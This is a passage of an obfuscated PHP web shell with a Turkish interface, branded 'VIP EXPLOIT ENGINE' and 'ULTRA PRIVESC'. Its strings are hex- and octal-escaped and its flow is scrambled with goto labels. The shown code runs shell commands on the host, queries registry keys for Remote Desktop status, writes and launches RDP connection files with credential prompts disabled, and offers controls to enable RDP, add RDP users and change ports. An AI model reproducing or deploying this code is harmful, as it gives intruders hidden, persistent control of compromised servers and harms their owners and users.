"\12\342\x94\200\xe2\x94\200\xe2\224\200\342\x94\200\342\x94\x80\xe2\x94\x80\xe2\x94\x80\342\224\200\xe2\x94\x80\xe2\x94\x80\xe2\x94\200\342\224\x80\xe2\x94\200\342\224\x80\xe2\x94\x80\xe2\224\x80\342\x94\200\342\224\200\342\224\x80\342\224\x80\342\224\x80\342\x94\x80\342\x94\x80\342\x94\x80\342\x94\200\xe2\x94\x80\342\x94\x80\xe2\224\200\342\x94\x80\342\224\200\xe2\x94\200\342\224\200\342\224\200\xe2\x94\x80\342\224\x80\xe2\x94\200\xe2\224\200\342\224\x80\342\224\200\342\224\200\xe2\x94\x80\342\224\200\xe2\224\200\342\x94\200\342\x94\x80\xe2\224\200\xe2\224\x80\342\224\x80\342\x94\x80\342\224\x80\342\224\x80\342\224\200\xe2\x94\200\xe2\224\x80\342\224\x80\xe2\224\200\342\x94\200\342\x94\200\342\x94\200\342\224\x80\342\224\x80\342\224\200\xe2\224\x80\342\x94\200\342\x94\200\xe2\224\x80\xe2\x94\200\xe2\224\x80\342\x94\200\xa"; $output .= "\xe2\234\205\x20\x56\x49\120\x20\x45\x78\x70\154\157\x69\164\x20\x69\305\x9f\x6c\x65\155\x69\40\164\x61\155\141\155\x6c\x61\x6e\144\xc4\261\x21\x20\x5a\141\x6d\x61\156\x3a\40" . date("\x59\x2d\155\55\x64\x20\110\72\x69\72\163") . "\12"; $output .= "\xf0\237\x91\x91\40\x56\x49\120\40\105\130\120\114\x4f\111\x54\x20\x45\116\107\x49\x4e\105\40\166\x32\x2e\60\12"; ?> <!-- ===== SONUÇ GÖSTERİMİ ===== --> <div class="vip-mor-terminal" style="margin-top:15px;"> <div class="vip-mor-terminal-header"> <div style="display:flex;align-items:center;gap:10px;"> <span style="color:#ffd700;font-size:14px;"> <i class="fas fa-crown"></i> </span> <span style="color:#ffd700;font-size:12px;font-weight:bold;"> <span style="color:#b300ff;"></span> VIP EXPLOIT ENGINE <span style="color:#ffd700;">v2.0</span> <span style="color:#b8860b;">- Sonuç</span> </span> </div> <span style="color:#b8860b;font-size:10px;"> <i class="fas fa-clock"></i> <?php echo date("\x48\72\x69\x3a\x73"); ?> <span style="margin-left:10px;background:linear-gradient(135deg,#ffd70033,#b300ff33);padding:2px 10px;border-radius:10px;border:1px solid #ffd70044;"> <i class="fas fa-star" style="color:#ffd700;"></i> VIP </span> </span> </div> <div class="vip-mor-terminal-body"> <pre style="white-space:pre-wrap;font-size:11px;line-height:1.8;color:#d4a0ff;margin:0;font-family:'Courier New',monospace;"><?php echo htmlspecialchars($output); ?> </pre> </div> </div> <?php } ?> <!-- ===== STATUS PANELİ ===== --> <div style="margin-top:15px;display:grid;grid-template-columns:1fr 1fr 1fr 1fr 1fr;gap:10px;"> <div class="vip-mor-status"> <div style="font-size:7px;color:#b8860b;text-transform:uppercase;letter-spacing:1px;">Yetki</div> <div style="font-size:16px;font-weight:bold;color:<?php echo isRoot() ? "\43\x30\60\146\146\70\70" : "\x23\146\x66\x64\x37\x30\60"; ?> ;"> <?php echo isRoot() ? "\360\237\x91\x91\40\x41\x44\x4d\x49\x4e" : "\360\237\221\xa4\40\x55\x53\x45\x52"; ?> </div> </div> <div class="vip-mor-status"> <div style="font-size:7px;color:#b8860b;text-transform:uppercase;letter-spacing:1px;">Exploit Sayısı</div> <div style="font-size:16px;color:#ffd700;font-weight:bold;text-shadow:0 0 20px #ffd70055;">55+</div> </div> <div class="vip-mor-status"> <div style="font-size:7px;color:#b8860b;text-transform:uppercase;letter-spacing:1px;">Sistem</div> <div style="font-size:13px;color:#b300ff;font-weight:bold;"><?php echo isWindows() ? "\360\237\xaa\x9f\x20\127\111\116" : "\xf0\237\x90\xa7\x20\x4e\x49\130"; ?> </div> </div> <div class="vip-mor-status"> <div style="font-size:7px;color:#b8860b;text-transform:uppercase;letter-spacing:1px;">Tema</div> <div style="font-size:13px;color:#ffd700;font-weight:bold;"> <span style="color:#b300ff;"></span> VIP <span style="color:#ffd700;"></span> </div> </div> <div class="vip-mor-status"> <div style="font-size:7px;color:#b8860b;text-transform:uppercase;letter-spacing:1px;">Engine</div> <div style="font-size:13px;color:#ffd700;font-weight:bold;text-shadow:0 0 20px #ffd70055;">v2.0 ULTRA</div> </div> </div> <!-- ===== VIP UYARI ===== --> <div style="margin-top:12px;padding:12px;background:linear-gradient(135deg,#1a000a,#0a000a);border-radius:10px;border:2px solid #ffd70044;text-align:center;position:relative;overflow:hidden;"> <div style="position:absolute;top:-50%;left:-50%;width:200%;height:200%;background:radial-gradient(circle at center,#ffd70008,transparent 70%);animation:rotateGlow 25s linear infinite;"></div> <div style="position:relative;z-index:1;"> <span style="color:#ffd700;font-size:10px;display:block;"> <i class="fas fa-crown" style="color:#ffd700;text-shadow:0 0 20px #ffd700;"></i> <strong style="color:#ffd700;text-shadow:0 0 20px #ffd70055;">👑 VIP EXPLOIT ENGINE v2.0:</strong> <span style="color:#b8860b;">55+ exploit tek bir yerde! Tüm linkler güncel ve çalışıyor!</span> </span> <div style="display:flex;justify-content:center;gap:15px;margin-top:6px;"> <span style="color:#b300ff;font-size:8px;"> <i class="fas fa-star" style="color:#ffd700;"></i> VIP Koleksiyon </span> <span style="color:#b300ff;font-size:8px;"> <i class="fas fa-bolt" style="color:#ffd700;"></i> Ultra Hızlı </span> <span style="color:#b300ff;font-size:8px;"> <i class="fas fa-shield-alt" style="color:#ffd700;"></i> Tam Güvenlik </span> <span style="color:#b300ff;font-size:8px;"> <i class="fas fa-crown" style="color:#ffd700;"></i> Güncel </span> </div> <div style="color:#7a3aaa;font-size:7px;margin-top:4px;"> ⚡ Sadece yetkili kullanım içindir! ⚡ </div> </div> </div> </div> <?php } goto nJLK5; G1trX: ?> <!-- ============================================================ --> <!-- ===== ULTRA PRIVESC v6.0 - VIP SARI + NEON MOR TEMA ===== --> <!-- ============================================================ --> <?php goto x_H8c; LAHMd: ?> "><i class="fas fa-database"></i><span>DB</span></a> <a href="?action=adminer" class="<?php goto TeXXv; Z2Uqe: if ($action == "\162\144\x70") { ?> <style> /* ===== NEON MOR RDP TEMA ===== */ .neon-rdp-card { background: linear-gradient(135deg, #0a0015, #12001a, #0a0015); border: 1px solid #b300ff44; border-radius: 12px; padding: 15px; margin: 10px 0; box-shadow: 0 0 40px #b300ff11, inset 0 0 40px #b300ff11; transition: all 0.3s ease; position: relative; overflow: hidden; } .neon-rdp-card::before { content: ''; position: absolute; top: -50%; left: -50%; width: 200%; height: 200%; background: radial-gradient(circle at center, #b300ff11, transparent 70%); animation: rotateGlow 20s linear infinite; pointer-events: none; } @keyframes rotateGlow { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .neon-rdp-card:hover { border-color: #b300ff88; box-shadow: 0 0 60px #b300ff22, inset 0 0 60px #b300ff11; transform: translateY(-3px); } .neon-rdp-input { background: #05000a; border: 1px solid #b300ff33; border-radius: 8px; padding: 10px 14px; color: #d4a0ff; font-size: 11px; width: 100%; transition: all 0.3s ease; box-sizing: border-box; } .neon-rdp-input:focus { border-color: #b300ff88; box-shadow: 0 0 30px #b300ff33, 0 0 30px #b300ff22; outline: none; background: #0a0015; } .neon-rdp-input::placeholder { color: #5a2a7a; } .neon-rdp-input-group { display: grid; grid-template-columns: 1fr 1fr; gap: 10px; margin-bottom: 10px; } .neon-rdp-input-group input { background: #05000a; border: 1px solid #b300ff33; border-radius: 8px; padding: 10px 14px; color: #d4a0ff; font-size: 11px; width: 100%; transition: all 0.3s ease; box-sizing: border-box; } .neon-rdp-input-group input:focus { border-color: #b300ff88; box-shadow: 0 0 30px #b300ff33; outline: none; background: #0a0015; } .neon-rdp-input-group input::placeholder { color: #5a2a7a; } .neon-rdp-btn { background: linear-gradient(135deg, #4a008b, #b300ff, #4a008b); border: none; color: #fff; font-weight: bold; padding: 10px 18px; border-radius: 8px; cursor: pointer; transition: all 0.3s ease; text-shadow: 0 0 10px #b300ff66; box-shadow: 0 0 20px #b300ff33; font-size: 11px; width: 100%; position: relative; overflow: hidden; display: flex; align-items: center; justify-content: center; gap: 8px; } .neon-rdp-btn::after { content: '◆'; position: absolute; right: 12px; top: 50%; transform: translateY(-50%); font-size: 12px; opacity: 0.4; animation: pulse 2s ease-in-out infinite; } @keyframes pulse { 0%, 100% { opacity: 0.3; transform: translateY(-50%) scale(1); } 50% { opacity: 1; transform: translateY(-50%) scale(1.2); } } .neon-rdp-btn:hover { transform: scale(1.03); box-shadow: 0 0 40px #b300ff55, 0 0 40px #b300ff33; background: linear-gradient(135deg, #8a2be2, #cc44ff, #8a2be2); } .neon-rdp-btn:active { transform: scale(0.97); } .neon-rdp-btn-success { background: linear-gradient(135deg, #008b45, #00ff88, #008b45); color: #000; box-shadow: 0 0 20px #00ff8833; } .neon-rdp-btn-success:hover { box-shadow: 0 0 40px #00ff8866; background: linear-gradient(135deg, #00ff88, #44ffaa, #00ff88); } .neon-rdp-btn-danger { background: linear-gradient(135deg, #8b0000, #ff0055, #8b0000); color: #fff; box-shadow: 0 0 20px #ff005533; } .neon-rdp-btn-danger:hover { box-shadow: 0 0 40px #ff005566; background: linear-gradient(135deg, #ff0055, #ff3377, #ff0055); } .neon-rdp-btn-warning { background: linear-gradient(135deg, #b8860b, #ffd700, #b8860b); color: #000; box-shadow: 0 0 20px #ffd70033; } .neon-rdp-btn-warning:hover { box-shadow: 0 0 40px #ffd70066; background: linear-gradient(135deg, #ffd700, #ffed4a, #ffd700); } .neon-rdp-btn-info { background: linear-gradient(135deg, #004a8b, #00aaff, #004a8b); color: #fff; box-shadow: 0 0 20px #00aaff33; } .neon-rdp-btn-info:hover { box-shadow: 0 0 40px #00aaff66; background: linear-gradient(135deg, #00aaff, #44ccff, #00aaff); } .neon-rdp-btn-purple { background: linear-gradient(135deg, #4a008b, #b300ff, #4a008b); color: #fff; box-shadow: 0 0 20px #b300ff33; } .neon-rdp-btn-purple:hover { box-shadow: 0 0 40px #b300ff66; background: linear-gradient(135deg, #b300ff, #cc44ff, #b300ff); } .neon-rdp-btn-group { display: grid; grid-template-columns: 1fr 1fr 1fr; gap: 10px; margin-top: 10px; } .neon-rdp-btn-group-2 { display: grid; grid-template-columns: 1fr 1fr; gap: 10px; margin-top: 10px; } .neon-rdp-status { background: linear-gradient(135deg, #0a0015, #12001a); border: 1px solid #b300ff33; border-radius: 10px; padding: 12px 15px; margin-top: 12px; display: flex; justify-content: space-between; align-items: center; transition: all 0.3s ease; } .neon-rdp-status:hover { border-color: #b300ff88; box-shadow: 0 0 30px #b300ff22; } .neon-rdp-status-item { text-align: center; flex: 1; } .neon-rdp-status-label { font-size: 7px; color: #5a2a7a; text-transform: uppercase; letter-spacing: 1px; } .neon-rdp-status-value { font-size: 12px; color: #d4a0ff; font-weight: bold; margin-top: 2px; } .neon-rdp-divider { border: none; height: 1px; background: linear-gradient(90deg, transparent, #b300ff, #8a2be2, #b300ff, transparent); margin: 15px 0; } .neon-rdp-terminal { background: #05000a; border: 1px solid #b300ff33; border-radius: 10px; overflow: hidden; margin-top: 15px; box-shadow: 0 0 30px #b300ff11; } .neon-rdp-terminal-header { background: linear-gradient(135deg, #0a0015, #15002a); padding: 10px 15px; border-bottom: 1px solid #b300ff33; display: flex; justify-content: space-between; align-items: center; } .neon-rdp-terminal-body { padding: 15px; max-height: 300px; overflow-y: auto; font-family: 'Courier New', monospace; font-size: 11px; line-height: 1.8; color: #d4a0ff; } .neon-rdp-terminal-body::-webkit-scrollbar { width: 6px; background: #05000a; } .neon-rdp-terminal-body::-webkit-scrollbar-thumb { background: linear-gradient(135deg, #8a2be2, #b300ff); border-radius: 10px; } .neon-rdp-badge { background: linear-gradient(135deg, #b300ff33, #8a2be222); padding: 2px 12px; border-radius: 12px; border: 1px solid #b300ff44; font-size: 8px; color: #b300ff; } .neon-rdp-glow { text-shadow: 0 0 20px #b300ff55, 0 0 40px #b300ff33; } /* Responsive */ @media (max-width: 768px) { .neon-rdp-input-group { grid-template-columns: 1fr; } .neon-rdp-btn-group { grid-template-columns: 1fr 1fr; } .neon-rdp-btn-group-2 { grid-template-columns: 1fr; } .neon-rdp-status { flex-direction: column; gap: 8px; } } @media (max-width: 480px) { .neon-rdp-btn-group { grid-template-columns: 1fr; } } </style> <!-- ===== NEON MOR RDP KARTI ===== --> <div class="neon-rdp-card"> <!-- ===== HEADER ===== --> <div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:12px;padding-bottom:10px;border-bottom:1px solid #b300ff33;"> <div> <h4 style="color:#b300ff;font-size:14px;margin:0;text-shadow:0 0 30px #b300ff66;"> <i class="fas fa-desktop" style="color:#b300ff;text-shadow:0 0 30px #b300ff88;"></i> <span class="neon-rdp-glow">RDP YÖNETİCİSİ v2.0</span> </h4> <div style="font-size:9px;color:#5a2a7a;margin-top:2px;"> <i class="fas fa-bolt" style="color:#b300ff;"></i> Gelişmiş Uzaktan Masaüstü Kontrolü </div> </div> <div style="display:flex;gap:6px;align-items:center;"> <span class="neon-rdp-badge"> <i class="fas fa-desktop" style="color:#b300ff;"></i> RDP </span> <span class="neon-rdp-badge"> <?php echo isWindows() ? "\360\237\xaa\237\40\x41\x63\x74\x69\x76\x65" : "\xf0\237\x90\247\40\x41\143\164\151\166\145"; ?> </span> </div> </div> <!-- ===== RDP DURUMU ===== --> <?php $rdp_status = "\x4b\x61\x70\141\x6c\xc4\261"; $rdp_color = "\x23\146\146\x30\x30\x35\65"; $rdp_port = "\63\63\70\71"; if (isWindows()) { $status_check = shell_exec("\162\x65\x67\x20\161\x75\x65\162\171\x20\x22\x48\x4b\x4c\115\x5c\123\131\x53\124\x45\115\x5c\x43\165\x72\162\145\156\x74\x43\x6f\x6e\164\x72\157\154\x53\x65\164\x5c\x43\157\x6e\164\162\x6f\x6c\134\x54\x65\x72\155\151\156\x61\x6c\40\x53\145\162\x76\145\x72\x22\x20\x2f\x76\x20\x66\x44\x65\x6e\171\x54\x53\103\x6f\156\x6e\x65\143\164\151\x6f\x6e\163\40\62\76\x6e\x75\x6c"); if (strpos($status_check, "\x30\x78\60") !== false) { $rdp_status = "\101\303\247\xc4\xb1\x6b\40\xe2\x9c\205"; $rdp_color = "\43\60\60\x66\146\x38\x38"; } else { $rdp_status = "\x4b\141\160\141\154\304\261\40\xe2\x9a\xa0\xef\270\x8f"; $rdp_color = "\43\x66\x66\60\x30\65\x35"; } $port_check = shell_exec("\162\145\147\x20\161\x75\145\x72\x79\40\x22\x48\113\114\x4d\x5c\123\x59\x53\124\x45\115\x5c\103\x75\x72\162\x65\x6e\164\103\157\x6e\164\x72\x6f\154\x53\145\x74\x5c\x43\x6f\156\164\x72\x6f\x6c\x5c\124\x65\x72\x6d\151\x6e\141\154\x20\123\x65\x72\x76\x65\162\x5c\127\x69\156\x53\164\141\x74\x69\157\x6e\x73\x5c\x52\x44\120\55\x54\x63\x70\x22\40\57\x76\x20\x50\157\162\164\x4e\x75\155\x62\145\x72\40\62\76\156\x75\x6c"); if (preg_match("\x2f\60\170\x28\x5b\x30\55\x39\141\55\146\x41\x2d\106\x5d\x2b\x29\57", $port_check, $matches)) { $rdp_port = hexdec($matches[1]); } } else { $rdp_status = "\114\151\x6e\165\170"; $rdp_color = "\x23\x66\146\144\67\x30\x30"; } ?> <div class="neon-rdp-status"> <div class="neon-rdp-status-item"> <div class="neon-rdp-status-label">Durum</div> <div class="neon-rdp-status-value" style="color:<?php echo $rdp_color; ?> ;"> <?php echo $rdp_status; ?> </div> </div> <div class="neon-rdp-status-item"> <div class="neon-rdp-status-label">Port</div> <div class="neon-rdp-status-value"><?php echo $rdp_port; ?> </div> </div> <div class="neon-rdp-status-item"> <div class="neon-rdp-status-label">Sistem</div> <div class="neon-rdp-status-value"><?php echo isWindows() ? "\xf0\x9f\xaa\x9f\x20\127\x69\x6e\144\x6f\x77\163" : "\360\x9f\220\xa7\x20\x4c\151\156\x75\x78"; ?> </div> </div> <div class="neon-rdp-status-item"> <div class="neon-rdp-status-label">Kullanıcı</div> <div class="neon-rdp-status-value"><?php echo getCurrentUser(); ?> </div> </div> </div> <hr class="neon-rdp-divider"> <!-- ===== RDP BAĞLANTI FORM ===== --> <form method="POST"> <div class="neon-rdp-input-group"> <input type="text" name="rdp_ip" placeholder="🌐 IP Adresi" value="<?php echo isset($_POST["\162\144\x70\x5f\151\x70"]) ? $_POST["\x72\144\x70\x5f\x69\x70"] : "\61\62\67\56\x30\56\x30\x2e\61"; ?> "> <input type="number" name="rdp_port" placeholder="🔌 Port" value="<?php echo isset($_POST["\x72\144\x70\x5f\x70\x6f\x72\x74"]) ? $_POST["\x72\x64\x70\137\160\157\162\x74"] : "\x33\63\70\71"; ?> "> <input type="text" name="rdp_user" placeholder="👤 Kullanıcı" value="<?php echo isset($_POST["\x72\144\x70\x5f\165\163\x65\x72"]) ? $_POST["\x72\144\x70\137\165\163\145\x72"] : "\x41\x64\155\151\x6e\x69\163\x74\162\141\164\157\162"; ?> "> <input type="password" name="rdp_pass" placeholder="🔑 Şifre" value="<?php echo isset($_POST["\162\x64\160\137\160\141\x73\163"]) ? $_POST["\162\x64\x70\x5f\x70\x61\x73\x73"] : ''; ?> "> </div> <!-- ===== ANA BUTONLAR ===== --> <div class="neon-rdp-btn-group-2"> <button type="submit" name="rdp_action" value="connect" class="neon-rdp-btn neon-rdp-btn-purple"> <i class="fas fa-plug"></i> RDP BAĞLAN </button> <button type="submit" name="rdp_action" value="enable" class="neon-rdp-btn neon-rdp-btn-success"> <i class="fas fa-unlock"></i> RDP AÇ </button> </div> </form> <!-- ===== EKSTRA BUTONLAR ===== --> <div class="neon-rdp-btn-group" style="margin-top:8px;"> <form method="POST"> <button type="submit" name="rdp_action" value="disable" class="neon-rdp-btn neon-rdp-btn-danger" style="font-size:10px;padding:8px;"> <i class="fas fa-lock"></i> RDP KAPAT </button> </form> <form method="POST"> <button type="submit" name="rdp_action" value="adduser" class="neon-rdp-btn neon-rdp-btn-info" style="font-size:10px;padding:8px;"> <i class="fas fa-user-plus"></i> RDP KULLANICI EKLE </button> </form> <form method="POST"> <button type="submit" name="rdp_action" value="changeport" class="neon-rdp-btn neon-rdp-btn-warning" style="font-size:10px;padding:8px;"> <i class="fas fa-exchange-alt"></i> PORT DEĞİŞTİR </button> </form> </div> <!-- ===== RDP İŞLEMLERİ ===== --> <?php if (isset($_POST["\x72\x64\160\137\141\x63\164\151\x6f\x6e"])) { $rdp_action = $_POST["\x72\x64\160\x5f\x61\143\x74\151\x6f\156"]; $rdp_output = ''; $rdp_timestamp = date("\131\x2d\x6d\x2d\144\x20\x48\72\x69\72\163"); function rdpCmd($cmd) { return shell_exec($cmd . "\40\62\76\x26\61"); } $rdp_output .= "\342\x95\224\xe2\225\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\220\342\225\x90\342\225\220\342\x95\220\xe2\225\x90\xe2\x95\220\342\225\220\xe2\225\x90\342\225\x90\342\x95\220\342\225\220\xe2\225\x90\xe2\225\x90\342\x95\x90\xe2\225\220\xe2\225\220\xe2\225\x90\342\225\220\xe2\225\x90\342\x95\220\xe2\225\220\xe2\x95\220\xe2\x95\220\xe2\x95\x90\xe2\x95\x90\xe2\225\220\342\225\220\xe2\225\x90\342\225\220\xe2\225\x90\342\x95\x90\342\x95\x90\xe2\x95\220\342\225\x90\342\x95\x90\342\x95\220\342\x95\x90\xe2\x95\x90\xe2\x95\220\xe2\x95\x90\342\225\220\342\225\220\xe2\x95\x90\342\225\220\xe2\225\x90\342\225\x90\xe2\225\220\342\x95\x90\342\225\220\342\225\220\342\225\220\xe2\225\220\342\x95\x90\342\225\x90\342\x95\220\342\x95\220\342\225\220\342\225\x90\342\x95\220\342\x95\227\12"; $rdp_output .= "\xe2\x95\x91\x20\x20\x52\x44\120\x20\105\x4e\107\x49\116\105\x20\x76\x32\56\60\40\40\x20\40\x20\x20\40\40\40\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\40\40\40\x20\x20\x20\342\x95\x91\12"; $rdp_output .= "\xe2\x95\x9a\342\x95\x90\342\225\x90\342\225\x90\342\225\x90\342\x95\220\xe2\225\x90\xe2\x95\220\342\225\220\342\x95\x90\342\225\220\342\225\220\xe2\x95\220\xe2\225\220\xe2\225\220\342\x95\220\xe2\225\220\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\225\x90\xe2\225\x90\342\x95\x90\xe2\225\220\342\x95\220\xe2\x95\220\xe2\225\x90\342\225\x90\342\x95\220\342\225\220\xe2\225\x90\342\225\220\xe2\225\220\xe2\225\220\342\x95\x90\xe2\225\x90\342\225\x90\342\225\220\342\x95\x90\342\225\x90\xe2\x95\x90\342\225\220\342\x95\220\342\225\x90\342\x95\x90\xe2\x95\220\xe2\x95\220\342\225\220\xe2\225\x90\342\x95\220\342\x95\x90\342\x95\x90\342\225\220\342\225\x90\342\225\220\342\225\220\xe2\225\x90\xe2\225\x90\xe2\225\220\xe2\225\x90\342\225\220\xe2\225\x90\342\x95\220\342\225\x9d\12\12"; $rdp_output .= "\xf0\237\223\205\x20\x5a\x61\155\x61\156\x3a\x20{$rdp_timestamp}\xa"; $rdp_output .= "\xf0\237\226\xa5\357\270\217\x20\40\x4f\x53\x3a\40" . (isWindows() ? "\127\151\x6e\144\x6f\167\x73" : "\114\151\156\x75\170") . "\xa"; $rdp_output .= "\360\x9f\221\xa4\x20\113\x75\154\x6c\141\156\xc4\xb1\143\xc4\xb1\72\40" . getCurrentUser() . "\12"; $rdp_output .= "\xe2\x94\200\342\224\x80\xe2\224\200\342\x94\200\342\224\x80\342\224\x80\342\x94\200\xe2\x94\x80\xe2\x94\x80\342\x94\x80\xe2\x94\x80\342\x94\200\342\224\200\xe2\x94\200\342\x94\200\xe2\224\200\xe2\x94\200\xe2\x94\x80\342\x94\x80\342\224\200\xe2\x94\200\xe2\x94\200\xe2\224\x80\342\x94\x80\342\224\200\xe2\x94\200\342\x94\x80\xe2\224\200\342\x94\x80\xe2\224\200\342\224\x80\xe2\x94\200\xe2\224\x80\xe2\224\x80\xe2\x94\x80\xe2\x94\x80\342\224\200\xe2\224\200\342\224\x80\342\224\200\342\x94\200\342\x94\200\342\224\200\342\x94\x80\xe2\224\200\xe2\x94\200\xe2\224\200\342\x94\x80\xe2\x94\x80\342\224\200\xe2\x94\x80\xe2\224\x80\342\224\x80\342\x94\200\xe2\224\200\xe2\224\200\342\x94\x80\xe2\x94\x80\xe2\x94\x80\342\224\200\342\x94\200\xa\xa"; switch ($rdp_action) { case "\143\x6f\x6e\x6e\x65\x63\164": $rdp_output .= "\75\x3d\x3d\40\360\x9f\226\245\xef\xb8\217\x20\122\104\x50\40\102\101\304\x9e\x4c\x41\116\x54\111\x53\111\40\75\75\x3d\12\12"; $ip = isset($_POST["\162\x64\x70\x5f\x69\x70"]) ? $_POST["\162\x64\x70\137\x69\x70"] : "\x31\62\67\x2e\60\x2e\60\56\x31"; $port = isset($_POST["\162\x64\160\137\x70\157\x72\x74"]) ? $_POST["\162\144\160\137\160\157\162\164"] : "\63\x33\x38\x39"; $user = isset($_POST["\162\x64\160\137\165\x73\145\162"]) ? $_POST["\162\144\x70\x5f\165\x73\x65\162"] : "\101\x64\x6d\151\156\151\x73\x74\162\x61\x74\x6f\x72"; $pass = isset($_POST["\x72\x64\160\x5f\160\x61\x73\x73"]) ? $_POST["\x72\x64\160\x5f\160\x61\x73\x73"] : ''; $rdp_output .= "\xf0\x9f\x93\214\x20\102\x61\304\237\154\x61\x6e\x74\304\261\40\102\x69\154\x67\x69\x6c\145\162\151\x3a\12"; $rdp_output .= "\x20\x20\360\237\214\220\x20\x49\120\72\x20{$ip}\12"; $rdp_output .= "\x20\x20\360\237\224\214\x20\120\x6f\162\164\72\40{$port}\12"; $rdp_output .= "\x20\40\xf0\x9f\x91\xa4\x20\113\165\154\154\x61\156\xc4\xb1\x63\xc4\261\x3a\40{$user}\xa"; $rdp_output .= "\x20\40\360\237\x94\x91\40\305\236\151\146\x72\x65\x3a\x20" . (empty($pass) ? "\342\235\214\x20\x42\x6f\xc5\x9f" : "\xe2\234\x85\x20\x47\151\172\154\x65\x6e\x64\151") . "\12\12"; if (isWindows()) { $rdp_cmd = "\155\163\164\163\x63\40\57\166\x3a" . $ip . "\x3a" . $port; $rdp_output .= "\x3e\x20" . $rdp_cmd . "\12"; $rdp_file = "\103\72\x5c\127\151\x6e\x64\x6f\167\163\134\x54\x65\155\x70\134\162\x64\160\137\x63\157\156\x6e\x65\143\164\151\157\x6e\x2e\x72\x64\160"; $rdp_content = "\x66\x75\154\x6c\40\141\x64\x64\x72\x65\163\163\72\x73\72{$ip}\72{$port}\xa"; $rdp_content .= "\x75\x73\x65\x72\156\x61\x6d\x65\72\x73\72{$user}\12"; if (!empty($pass)) { $rdp_content .= "\x70\141\163\x73\x77\x6f\162\x64\x20\x35\61\72\x62\72" . base64_encode($pass) . "\12"; } $rdp_content .= "\160\162\157\x6d\160\x74\40\x66\157\162\40\143\162\145\144\x65\156\164\151\141\154\x73\x3a\x69\x3a\60\12"; $rdp_content .= "\x61\x75\164\150\145\156\x74\151\x63\141\x74\151\157\156\40\154\x65\166\145\154\72\151\72\60\xa"; $rdp_content .= "\x65\156\141\x62\154\x65\143\x72\145\144\163\x73\160\163\165\x70\x70\x6f\162\x74\72\x69\72\x30\12"; $rdp_content .= "\162\x65\x64\151\162\145\143\x74\x63\154\x69\160\x62\x6f\141\162\144\x3a\151\72\61\xa"; $rdp_content .= "\x72\x65\x64\151\x72\x65\x63\164\160\162\x69\156\x74\x65\162\163\x3a\151\72\60\xa"; $rdp_content .= "\162\145\144\x69\x72\x65\143\x74\143\157\x6d\x70\x6f\162\x74\x73\x3a\151\72\x30\12"; $rdp_content .= "\162\145\144\x69\x72\145\143\x74\x73\x6d\x61\x72\x74\143\x61\162\144\x73\x3a\151\72\60\xa"; $rdp_content .= "\x72\145\144\x69\x72\145\143\164\153\x65\171\142\157\x61\x72\144\x3a\151\72\x31\xa"; $rdp_content .= "\x73\x63\x72\145\x65\x6e\40\x6d\x6f\x64\145\x20\x69\x64\x3a\151\x3a\61\12"; $rdp_content .= "\144\x65\x73\153\164\157\160\167\x69\x64\164\x68\72\x69\72\61\63\66\x36\12"; $rdp_content .= "\x64\x65\x73\153\x74\x6f\x70\150\145\x69\147\150\164\x3a\151\x3a\67\x36\x38\xa"; $rdp_content .= "\x73\x65\163\163\151\x6f\156\40\x62\x70\160\x3a\151\72\63\x32\12"; $rdp_content .= "\x77\x69\x6e\160\x6f\163\163\x74\162\72\163\x3a\x30\x2c\63\54\x30\x2c\x30\x2c\x38\x30\x30\x2c\x36\60\60\xa"; $rdp_content .= "\x63\157\155\160\x72\145\x73\163\x69\x6f\x6e\72\151\72\x31\12"; $rdp_content .= "\x6b\x65\171\x62\157\141\162\144\150\157\157\153\72\151\x3a\x32\12"; $rdp_content .= "\x61\165\x64\x69\x6f\143\x61\160\x74\165\x72\145\x6d\157\144\x65\72\x69\x3a\x30\12"; $rdp_content .= "\x76\x69\144\x65\x6f\x70\x6c\141\x79\142\141\143\153\x6d\x6f\144\x65\72\x69\x3a\61\12"; $rdp_content .= "\x63\x6f\156\156\145\143\x74\x69\x6f\x6e\x20\164\x79\x70\145\x3a\151\x3a\x37\12"; $rdp_content .= "\x64\x69\163\141\142\x6c\145\40\x66\165\x6c\154\40\167\151\x6e\144\x6f\x77\40\x64\162\141\x67\x3a\x69\72\x31\xa"; $rdp_content .= "\x64\151\163\x61\142\154\x65\x20\x6d\145\x6e\165\x20\x61\x6e\x69\155\163\x3a\x69\x3a\61\xa"; $rdp_content .= "\144\151\163\x61\142\154\x65\40\x74\x68\145\155\x65\x73\x3a\151\x3a\61\xa"; $rdp_content .= "\144\151\163\141\x62\154\x65\x20\143\165\x72\163\157\x72\40\163\x65\164\x74\151\156\147\72\x69\72\x30\xa"; file_put_contents($rdp_file, $rdp_content); exec("\x73\x74\141\162\x74\40\x22\x22\x20\42" . $rdp_file . "\42\40\x32\x3e\x6e\x75\x6c\x20\x26"); $rdp_output .= "\xe2\234\205\x20\x52\x44\120\40\x62\141\304\x9f\x6c\x61\156\x74\304\261\163\304\xb1\40\x62\x61\305\237\154\141\164\xc4\261\x6c\144\xc4\xb1\x21\12"; $rdp_output .= "\xf0\237\223\x84\x20\122\104\x50\40\104\157\x73\171\x61\x73\304\xb1\x3a\40{$rdp_file}\xa"; $rdp_output .= "\xa\xf0\x9f\224\247\40\101\x6c\164\145\162\x6e\141\164\151\146\x20\x62\141\304\237\x6c\x61\x6e\164\xc4\261\72\12"; $rdp_output .= "\x20\x20\155\x73\x74\163\143\40\57\x76\72{$ip}\x3a{$port}\xa"; } else { $rdp_output .= "\342\x9a\240\x20\x4c\x69\x6e\165\x78\x27\164\x61\x20\122\x44\120\40\x69\303\xa7\151\x6e\40\170\146\162\145\x65\x72\x64\x70\x20\x6b\x75\x6c\x6c\141\156\304\xb1\156\x3a\12\12"; $rdp_output .= "\x20\x20\x78\146\162\145\145\x72\x64\160\x20\57\x76\72{$ip}\x3a{$port}\40\57\165\x3a{$user}"; if (!empty($pass)) { $rdp_output .= "\x20\x2f\160\72" . $pass; } $rdp_output .= "\40\x2f\144\x79\156\141\155\x69\x63\x2d\x72\145\x73\x6f\x6c\x75\164\x69\x6f\156\x20\x2f\x66\x6c\157\x61\164\x62\141\162\12"; $rdp_output .= "\xa\xf0\237\x94\247\x20\101\154\164\145\x72\x6e\141\x74\x69\146\72\xa"; $rdp_output .= "\x20\x20\162\x65\x6d\155\x69\x6e\x61\40\x2d\143\x20\162\x64\160\72\x2f\57{$user}\100{$ip}\72{$port}\xa"; } break; case "\145\x6e\141\142\154\x65": $rdp_output .= 